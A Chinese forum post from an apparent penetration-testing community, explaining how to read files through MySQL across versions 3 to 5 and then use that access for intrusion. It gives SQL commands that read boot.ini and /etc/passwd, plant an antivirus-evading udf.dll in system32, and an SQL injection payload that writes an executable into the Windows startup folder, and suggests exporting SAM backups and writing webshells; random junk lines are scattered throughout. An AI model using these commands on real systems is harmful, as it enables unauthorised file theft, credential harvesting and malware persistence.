中国网络渗透测试联盟
标题:
mysql下读取文件的几种方式
[打印本页]
作者:
admin
时间:
2012-9-13 16:34
标题:
mysql下读取文件的几种方式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。
' W* ~, ^. y# U, X- A
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同
/ ]2 _7 a. ^1 ^0 W: a: m. x, a
; [( s9 m. F' j7 s6 Q2 A+ ]
mysql3.x下
+ {( x/ v" L5 F
7 P6 M$ }0 g$ r; |0 A
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下
6 b0 E& Z* u8 h0 r+ L( S
, p, _- i) `1 p) I9 G ~. z% A$ {7 _" d
mysql>create table a (cmd text);
- V% }' E4 P4 G5 z3 {! g
mysql>load data infile 'c:\\boot.ini' into table a;
/ m" i) o7 i/ u/ Y7 Y. U) ]
mysql>select * from a;
" m- C5 X3 e B- b- s4 C2 f
6 j2 S& c5 {) h& d* `* D" h% w) x2 t
mysql4.x下
. r! R+ ?& W0 h+ E- @
1 M* J; v. b' V+ ]; U- X
mysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下
$ T* ?; v3 ?0 N( Q+ Y9 u w
; t) r' A. p0 @4 Q9 X+ W
mysql>create table a (cmd text);
. C" c& ?8 z7 b' k2 \
mysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
6 }4 K3 d; s' U, N+ ~1 `9 g
mysql>select * from a;
2 C( a; x8 U( Y. f
, U/ B: q3 r' i3 d
mysql5.x下
) c9 g# U2 k1 P+ x$ g4 n) V- [% k
4 p+ v" F2 X! K, e8 u* j
在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
8 q- j. d3 V- j8 z
# b' {2 T$ A# P+ {7 f o7 N
mysql>system cat /etc/passwd
8 T$ \- |- e* r. Z2 o
# O. j7 @ p& J& v
8 J! c- C" i& S, ~$ l6 {
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。
+ o+ k! C7 O- m F* m5 h
& j0 ], [ v: w
6 p4 `8 D: k% s
例:把免杀过的udf.dll文件插入系统目录
7 f% y( T/ g0 s) W
0 G1 m* K V5 }9 t
create table a (cmd LONGBLOB);
" h* h G. I4 u' l: w
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
2 _- d9 o" f) z1 V' ~6 d a# u
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
+ c( B w; M0 t
) R. N( q. N2 v6 J
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
+ P- u9 C9 k$ H/ Z
8 u. Y' l+ [# y
Q( \- A6 |0 R8 |. X. v# _
注入中的语法(未测试)
( x4 ?' K0 C# r6 x# f2 g- `
' {1 o6 r2 M0 ^# y8 ~
5 h% a! _ {; n6 H
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2